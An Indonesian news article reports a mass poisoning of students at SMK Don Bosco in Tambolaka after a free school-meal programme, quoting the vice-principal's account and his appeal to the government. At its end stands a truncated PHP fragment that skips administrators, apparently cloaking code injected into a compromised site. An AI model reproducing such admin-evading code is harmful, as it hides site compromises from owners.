Kesehatan

Sesali Keracunan Massal yang Dialami Siswa, Wakil Kepala SMK Don Bosco Minta Pemerintah Tulus Beri Layanan Terbaik

×

Sesali Keracunan Massal yang Dialami Siswa, Wakil Kepala SMK Don Bosco Minta Pemerintah Tulus Beri Layanan Terbaik

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Peristiwa keracunan yang dialami siswa SMK Don Bosco sangat disesalkan pengelola lembaga pendidikan ini.

Wakil Kepala SMK Don Bosco, Bruder Alfridus Tena, SDB, S.Pd menegaskan, penanganan kegiatan Makan Bergizi Gratis (MBG) mesti dikelola secara profesional.

“Karena yang kita beri makan ini adalah generasi masa depan bangsa,” ujarnya, Rabu (23/07/2025) lalu.

Jangan sampai niat menyiapkan anak bangsa yang cerdas lewat pemberian makanan bergizi ini malah berdampak sebaliknya.

Program MBG, kata dia, bertujuan untuk meningkatkan kualitas anak bangsa lewat perbaikan gizi, bukan kemudian menambah redup masa depan generasi penerus ini.

“Jika pemerintah memang tulus, maka beri yang terbaik dalam layanan MBG ini,” imbaunya.

Dikisahkan sosok pendidik yang akrab dipanggil Bruder Bojezz ini, peristiwa naas itu diketahui sekitar pukul 13.30 WITA.

Saat itu sejumlah siswa diarahkan menuju Ruang UKS usai menyantap sajian menu MBG di sekolah tersebut.

“Mereka alami gejala muka yang memerah, panas, demam, dan saya bersama guru langsung bawa di ruang UKS,” tuturnya.

Suasana hampir tidak terkendali karena guru-guru pun sudah terlihat panik lantaran sejumlah siswa sudah hampir pingsan, menggigil, dan mual-mual.

Demikian halnya siswa di beberapa kelas mulai mengeluh gatal tenggorokan dan lidah, lalu ia putuskan untuk tutup sekolah lebih cepat sehingga siswa bisa segera pulang ke rumah.

“Dan ternyata ambulans datang jemput anak-anak kami. Beberapa siswa langsung dibawa ke Puskesmas Rada Mata, dan salah satunya jalani opname,” kisah Bruder Bojezz.

Sedangkan yang lain jalani perawatan di RS Karitas dan RSUD Reda Bolo.

Diketahui, 36 orang dari 221 siswa yang menyantap hidangan MBG siang itu mengalami keracunan parah.

“Mukanya merah semua dengan gejala gatal-gatal dan ada yang alami benjol-benjol di perut,”terangnya.

Wakil Kepala SMK Don Bosco Bidang Kesiswaan ini juga mengaku sempat bingung karena ada siswa yang suhu tubuhnya panas, tapi ada juga yang dingin sekali.

“Jadi kita tangani apa adanya, pakai air gula, dan beberapa lagi diberi vitamin untuk tindakan pencegahan,” timpalnya lagi.

Meski demikian dirinya tidak bisa memastikan apa penyebab keracunan yang dialami siswa SMK Don Bosco ini.

Pihaknya menyerahkan sepenuhnya urusan tersebut kepada pihak berkompeten untuk mengusut tuntas persoalan ini.

Bruder Bojezz berharap, kisah kelam MBG yang telah menimpa siswanya ini tidak terulang di kemudian.

Pemerintah harus serius, dan jika memang tulus berilah pelayanan yang terbaik untuk anak bangsa.

“Alangkah lebih baik sama sekali tidak dilayani ketimbang harus alami peristiwa tragis seperti ini,” pungkasnya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>